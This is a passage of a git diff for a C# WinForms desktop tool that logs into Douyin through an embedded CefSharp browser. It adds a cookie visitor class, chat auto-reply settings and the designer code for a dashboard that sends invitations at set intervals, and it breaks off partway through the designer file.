AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/ChatForms/ChatModel/ChatSettingsParam.cs b/TEMUKJD/ChatForms/ChatModel/ChatSettingsParam.cs new file mode 100644 index 0000000..14b950e --- /dev/null +++ b/TEMUKJD/ChatForms/ChatModel/ChatSettingsParam.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace LittleRabbit.ChatForms.ChatModel +{ + public class ChatSettingsParam + { + public bool IsAutoReLogin { get; set; } = false; + public bool IsAutoReply { get; set; } = false; + public bool IsNotShowMessageWindow { get; set; } = false; + public string MessageSound { get; set; } = "默认提示音"; + public string AutoReplayText { get; set; } = "您好"; + } +} diff --git a/TEMUKJD/CookieVisitor.cs b/TEMUKJD/CookieVisitor.cs new file mode 100644 index 0000000..892bc2f --- /dev/null +++ b/TEMUKJD/CookieVisitor.cs @@ -0,0 +1,28 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace LittleRabbit +{ + public class CookieVisitor : CefSharp.ICookieVisitor + { + public event Action SendCookie; + public bool Visit(CefSharp.Cookie cookie, int count, int total, ref bool deleteCookie) + { + deleteCookie = false; + if (SendCookie != null) + { + SendCookie(cookie); + } + + return true; + } + + + public void Dispose() + { + + } + } +} diff --git a/TEMUKJD/DashBoardForms/DashBoardForm.Designer.cs b/TEMUKJD/DashBoardForms/DashBoardForm.Designer.cs new file mode 100644 index 0000000..543d667 --- /dev/null +++ b/TEMUKJD/DashBoardForms/DashBoardForm.Designer.cs @@ -0,0 +1,571 @@ +namespace LittleRabbit.DashBoardForms +{ + partial class DashBoardForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.pnlBanner = new DevComponents.DotNetBar.PanelEx(); + this.txtChatWords = new System.Windows.Forms.TextBox(); + this.rbChat = new System.Windows.Forms.RadioButton(); + this.rbInvite = new System.Windows.Forms.RadioButton(); + this.label7 = new System.Windows.Forms.Label(); + this.btnSend = new LittleRabbit.UserControls.ButtonEx(); + this.pnlDetailForm = new DevComponents.DotNetBar.PanelEx(); + this.pnlMainForm = new DevComponents.DotNetBar.PanelEx(); + this.btnLoginDouyin = new LittleRabbit.UserControls.ButtonEx(); + this.cmbShop = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.label5 = new System.Windows.Forms.Label(); + this.txtSuccessCount = new System.Windows.Forms.TextBox(); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.txtInterval = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.txtTotalPage = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.txtCurrentPage = new System.Windows.Forms.TextBox(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.max = new DevComponents.DotNetBar.PanelEx(); + this.min = new DevComponents.DotNetBar.PanelEx(); + this.close = new DevComponents.DotNetBar.PanelEx(); + this.label6 = new System.Windows.Forms.Label(); + this.line1 = new DevComponents.DotNetBar.Controls.Line(); + this.line2 = new DevComponents.DotNetBar.Controls.Line(); + this.line3 = new DevComponents.DotNetBar.Controls.Line(); + this.line4 = new DevComponents.DotNetBar.Controls.Line(); + this.label8 = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.pnlBanner.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(2, 2); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.pnlBanner); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.BackColor = System.Drawing.Color.WhiteSmoke; + this.splitContainer1.Size = new System.Drawing.Size(1196, 676); + this.splitContainer1.SplitterDistance = 66; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 1; + // + // pnlBanner + // + this.pnlBanner.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlBanner.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlBanner.Controls.Add(this.txtChatWords); + this.pnlBanner.Controls.Add(this.rbChat); + this.pnlBanner.Controls.Add(this.rbInvite); + this.pnlBanner.Controls.Add(this.label7); + this.pnlBanner.Controls.Add(this.btnSend); + this.pnlBanner.Controls.Add(this.pnlDetailForm); + this.pnlBanner.Controls.Add(this.pnlMainForm); + this.pnlBanner.Controls.Add(this.btnLoginDouyin); + this.pnlBanner.Controls.Add(this.cmbShop); + this.pnlBanner.Controls.Add(this.label5); + this.pnlBanner.Controls.Add(this.txtSuccessCount); + this.pnlBanner.Controls.Add(this.label4); + this.pnlBanner.Controls.Add(this.label3); + this.pnlBanner.Controls.Add(this.txtInterval); + this.pnlBanner.Controls.Add(this.label2); + this.pnlBanner.Controls.Add(this.txtTotalPage); + this.pnlBanner.Controls.Add(this.label1); + this.pnlBanner.Controls.Add(this.txtCurrentPage); + this.pnlBanner.Controls.Add(this.textBox3); + this.pnlBanner.Controls.Add(this.max); + this.pnlBanner.Controls.Add(this.min); + this.pnlBanner.Controls.Add(this.close); + this.pnlBanner.Controls.Add(this.label6); + this.pnlBanner.Controls.Add(this.line1); + this.pnlBanner.Controls.Add(this.line2); + this.pnlBanner.Controls.Add(this.line3); + this.pnlBanner.Controls.Add(this.line4); + this.pnlBanner.Controls.Add(this.label8); + this.pnlBanner.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlBanner.Dock = System.Windows.Forms.DockStyle.Fill; + this.pnlBanner.Location = new System.Drawing.Point(0, 0); + this.pnlBanner.Name = "pnlBanner"; + this.pnlBanner.Size = new System.Drawing.Size(1196, 66); + this.pnlBanner.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlBanner.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlBanner.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlBanner.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlBanner.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlBanner.Style.BorderWidth = 0; + this.pnlBanner.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlBanner.Style.GradientAngle = 90; + this.pnlBanner.TabIndex = 0; + this.pnlBanner.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(this.pnlBanner_MouseDoubleClick); + this.pnlBanner.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pnlBanner_MouseDown); + this.pnlBanner.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pnlBanner_MouseMove); + this.pnlBanner.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pnlBanner_MouseUp); + // + // txtChatWords + // + this.txtChatWords.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtChatWords.Location = new System.Drawing.Point(524, 26); + this.txtChatWords.Name = "txtChatWords"; + this.txtChatWords.Size = new System.Drawing.Size(588, 21); + this.txtChatWords.TabIndex = 405; + this.txtChatWords.Visible = false; + this.txtChatWords.TextChanged += new System.EventHandler(this.txtChatWords_TextChanged); + // + // rbChat + // + this.rbChat.AutoSize = true; + this.rbChat.ForeColor = System.Drawing.Color.White; + this.rbChat.Location = new System.Drawing.Point(364, 28); + this.rbChat.Name = "rbChat"; + this.rbChat.Size = new System.Drawing.Size(71, 16); + this.rbChat.TabIndex = 404; + this.rbChat.Text = "在线沟通"; + this.rbChat.UseVisualStyleBackColor = true; + this.rbChat.Visible = false; + this.rbChat.CheckedChanged += new System.EventHandler(this.rbChat_CheckedChanged); + // + // rbInvite + // + this.rbInvite.AutoSize = true; + this.rbInvite.ForeColor = System.Drawing.Color.White; + this.rbInvite.Location = new System.Drawing.Point(287, 28); + this.rbInvite.Name = "rbInvite"; + this.rbInvite.Size = new System.Drawing.Size(71, 16); + this.rbInvite.TabIndex = 403; + this.rbInvite.Text = "发送邀约"; + this.rbInvite.UseVisualStyleBackColor = true; + this.rbInvite.Visible = false; + this.rbInvite.CheckedChanged += new System.EventHandler(this.rbInvite_CheckedChanged); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.ForeColor = System.Drawing.Color.White; + this.label7.Location = new System.Drawing.Point(227, 30); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(53, 12); + this.label7.TabIndex = 402; + this.label7.Text = "邀请方式"; + this.label7.Visible = false; + // + // btnSend + // + this.btnSend.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSend.BackColor = System.Drawing.Color.NavajoWhite; + this.btnSend.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSend.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnSend.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSend.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.btnSend.Location = new System.Drawing.Point(1046, 2); + this.btnSend.Margin = new System.Windows.Forms.Padding(0); + this.btnSend.Name = "btnSend"; + this.btnSend.Size = new System.Drawing.Size(66, 21); + this.btnSend.TabIndex = 386; + this.btnSend.Text = "开始邀约"; + this.btnSend.UseCompatibleTextRendering = true; + this.btnSend.UseVisualStyleBackColor = false; + this.btnSend.Click += new System.EventHandler(this.btnSend_Click); + // + // pnlDetailForm + // + this.pnlDetailForm.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.pnlDetailForm.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlDetailForm.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlDetailForm.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlDetailForm.Location = new System.Drawing.Point(77, 44); + this.pnlDetailForm.Name = "pnlDetailForm"; + this.pnlDetailForm.Size = new System.Drawing.Size(76, 26); + this.pnlDetailForm.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlDetailForm.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(175)))), ((int)(((byte)(210)))), ((int)(((byte)(255))))); + this.pnlDetailForm.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(175)))), ((int)(((byte)(210)))), ((int)(((byte)(255))))); + this.pnlDetailForm.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlDetailForm.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlDetailForm.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlDetailForm.Style.GradientAngle = 90; + this.pnlDetailForm.TabIndex = 382; + this.pnlDetailForm.Text = "详情"; + this.pnlDetailForm.Visible = false; + this.pnlDetailForm.Click += new System.EventHandler(this.btnDetailForm_Click); + // + // pnlMainForm + // + this.pnlMainForm.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.pnlMainForm.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlMainForm.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlMainForm.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlMainForm.Location = new System.Drawing.Point(2, 42); + this.pnlMainForm.Name = "pnlMainForm"; + this.pnlMainForm.Size = new System.Drawing.Size(76, 26); + this.pnlMainForm.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMainForm.Style.BackColor1.Color = System.Drawing.Color.White; + this.pnlMainForm.Style.BackColor2.Color = System.Drawing.Color.White; + this.pnlMainForm.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlMainForm.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlMainForm.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlMainForm.Style.GradientAngle = 90; + this.pnlMainForm.TabIndex = 375; + this.pnlMainForm.Text = "主页"; + this.pnlMainForm.Click += new System.EventHandler(this.btnMainForm_Click); + // + // btnLoginDouyin + // + this.btnLoginDouyin.BackColor = System.Drawing.Color.White; + this.btnLoginDouyin.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnLoginDouyin.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnLoginDouyin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnLoginDouyin.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoginDouyin.Location = new System.Drawing.Point(159, 2); + this.btnLoginDouyin.Margin = new System.Windows.Forms.Padding(0); + this.btnLoginDouyin.Name = "btnLoginDouyin"; + this.btnLoginDouyin.Size = new System.Drawing.Size(66, 21); + this.btnLoginDouyin.TabIndex = 374; + this.btnLoginDouyin.Text = "登录抖音"; + this.btnLoginDouyin.UseCompatibleTextRendering = true; + this.btnLoginDouyin.UseVisualStyleBackColor = false; + this.btnLoginDouyin.Click += new System.EventHandler(this.btnLoginDouyin_Click); + // + // cmbShop + // + this.cmbShop.DisplayMember = "Text"; + this.cmbShop.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbShop.FormattingEnabled = true; + this.cmbShop.ItemHeight = 15; + this.cmbShop.Location = new System.Drawing.Point(2, 2); + this.cmbShop.Name = "cmbShop"; + this.cmbShop.Size = new System.Drawing.Size(156, 21); + this.cmbShop.Style = DevComponents.DotNetBar.eDotNetBarStyle.Office2003; + this.cmbShop.TabIndex = 76; + // + // label5 + // + this.label5.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label5.AutoSize = true; + this.label5.ForeColor = System.Drawing.Color.White; + this.label5.Location = new System.Drawing.Point(572, 6); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(65, 12); + this.label5.TabIndex = 66; + this.label5.Text = "邀约成功数"; + // + // txtSuccessCount + // + this.txtSuccessCount.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.txtSuccessCount.Enabled = false; + this.txtSuccessCount.Location = new System.Drawing.Point(638, 2); + this.txtSuccessCount.Name = "txtSuccessCount"; + this.txtSuccessCount.Size = new System.Drawing.Size(33, 21); + this.txtSuccessCount.TabIndex = 65; + this.txtSuccessCount.Text = "0"; + // + // label4 + // + this.label4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label4.AutoSize = true; + this.label4.ForeColor = System.Drawing.Color.White; + this.label4.Location = new System.Drawing.Point(773, 6); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(17, 12); + this.label4.TabIndex = 64; + this.label4.Text = "秒"; + // + // label3 + // + this.label3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label3.AutoSize = true; + this.label3.ForeColor = System.Drawing.Color.White; + this.label3.Location = new System.Drawing.Point(683, 6); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(53, 12); + this.label3.TabIndex = 63; + this.label3.Text = "邀约间隔"; + // + // txtInterval + // + this.txtInterval.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.txtInterval.Location = new System.Drawing.Point(738, 2); + this.txtInterval.Name = "txtInterval"; + this.txtInterval.Size = new System.Drawing.Size(33, 21); + this.txtInterval.TabIndex = 62; + this.txtInterval.Text = "10"; + this.txtInterval.TextChanged += new System.EventHandler(this.txtInterval_TextChanged); + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.ForeColor = System.Drawing.Color.White; + this.label2.Location = new System.Drawing.Point(799, 6); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(77, 12); + this.label2.TabIndex = 61; + this.label2.Text = "预计邀约页数"; + // + // txtTotalPage + // + this.txtTotalPage.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.txtTotalPage.Location = new System.Drawing.Point(878, 2); + this.txtTotalPage.Name = "txtTotalPage"; + this.txtTotalPage.Size = new System.Drawing.Size(33, 21); + this.txtTotalPage.TabIndex = 60; + this.txtTotalPage.Text = "10"; + this.txtTotalPage.TextChanged += new System.EventHandler(this.txtTotalPage_TextChanged); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.White; + this.label1.Location = new System.Drawing.Point(922, 6); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(65, 12); + this.label1.TabIndex = 59; + this.label1.Text = "当前邀约第"; + // + // txtCurrentPage + // + this.txtCurrentPage.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.txtCurrentPage.Enabled = false; + this.txtCurrentPage.Location = new System.Drawing.Point(989, 2); + this.txtCurrentPage.Name = "txtCurrentPage"; + this.txtCurrentPage.Size = new System.Drawing.Size(33, 21); + this.txtCurrentPage.TabIndex = 58; + this.txtCurrentPage.Text = "1"; + // + // textBox3 + // + this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox3.Location = new System.Drawing.Point(229, 2); + this.textBox3.Name = "textBox3"; + this.textBox3.Size = new System.Drawing.Size(332, 21); + this.textBox3.TabIndex = 36; + this.textBox3.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox3_KeyDown); + // + // max + // + this.max.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.max.CanvasColor = System.Drawing.SystemColors.Control; + this.max.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.max.Cursor = System.Windows.Forms.Cursors.Hand; + this.max.DisabledBackColor = System.Drawing.Color.Empty; + this.max.Location = new System.Drawing.Point(1149, 4); + this.max.Name = "max"; + this.max.Size = new System.Drawing.Size(16, 16); + this.max.Style.Alignment = System.Drawing.StringAlignment.Center; + this.max.Style.BackColor1.Alpha = ((byte)(0)); + this.max.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.max.Style.BackColor2.Alpha = ((byte)(0)); + this.max.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.max.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.max; + this.max.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.max.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.max.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.max.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.max.Style.GradientAngle = 90; + this.max.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.max_hover; + this.max.TabIndex = 22; + this.max.Click += new System.EventHandler(this.max_Click); + // + // min + // + this.min.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.min.CanvasColor = System.Drawing.SystemColors.Control; + this.min.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.min.Cursor = System.Windows.Forms.Cursors.Hand; + this.min.DisabledBackColor = System.Drawing.Color.Empty; + this.min.Location = new System.Drawing.Point(1123, 4); + this.min.Name = "min"; + this.min.Size = new System.Drawing.Size(16, 16); + this.min.Style.Alignment = System.Drawing.StringAlignment.Center; + this.min.Style.BackColor1.Alpha = ((byte)(0)); + this.min.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.min.Style.BackColor2.Alpha = ((byte)(0)); + this.min.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.min.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.min; + this.min.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.min.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.min.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.min.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.min.Style.GradientAngle = 90; + this.min.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.min_hover; + this.min.TabIndex = 21; + this.min.Click += new System.EventHandler(this.min_Click); + // + // close + // + this.close.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.close.CanvasColor = System.Drawing.SystemColors.Control; + this.close.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.close.Cursor = System.Windows.Forms.Cursors.Hand; + this.close.DisabledBackColor = System.Drawing.Color.Empty; + this.close.Location = new System.Drawing.Point(1175, 4); + this.close.Name = "close"; + this.close.Size = new System.Drawing.Size(16, 16); + this.close.Style.Alignment = System.Drawing.StringAlignment.Center; + this.close.Style.BackColor1.Alpha = ((byte)(0)); + this.close.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.close.Style.BackColor2.Alpha = ((byte)(0)); + this.close.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.close.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.close; + this.close.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.close.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.close.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.close.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.close.Style.GradientAngle = 90; + this.close.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.close_hover; + this.close.TabIndex = 20; + this.close.Click += new System.EventHandler(this.close_Click); + // + // label6 + // + this.label6.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label6.AutoSize = true; + this.label6.ForeColor = System.Drawing.Color.White; + this.label6.Location = new System.Drawing.Point(1024, 6); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(17, 12); + this.label6.TabIndex = 383; + this.label6.Text = "页"; + // + // line1 + // + this.line1.ForeColor = System.Drawing.Color.White; + this.line1.Location = new System.Drawing.Point(545, 2); + this.line1.Name = "line1"; + this.line1.Size = new System.Drawing.Size(48, 21); + this.line1.TabIndex = 387; + this.line1.Text = "line1"; + this.line1.VerticalLine = true; + // + // line2 + // + this.line2.ForeColor = System.Drawing.Color.White; + this.line2.Location = new System.Drawing.Point(656, 2); + this.line2.Name = "line2"; + this.line2.Size = new System.Drawing.Size(48, 21); + this.line2.TabIndex = 388; + this.line2.Text = "line2"; + this.line2.VerticalLine = true; + // + // line3 + // + this.line3.ForeColor = System.Drawing.Color.White; + this.line3.Location = new System.Drawing.Point(772, 2); + this.line3.Name 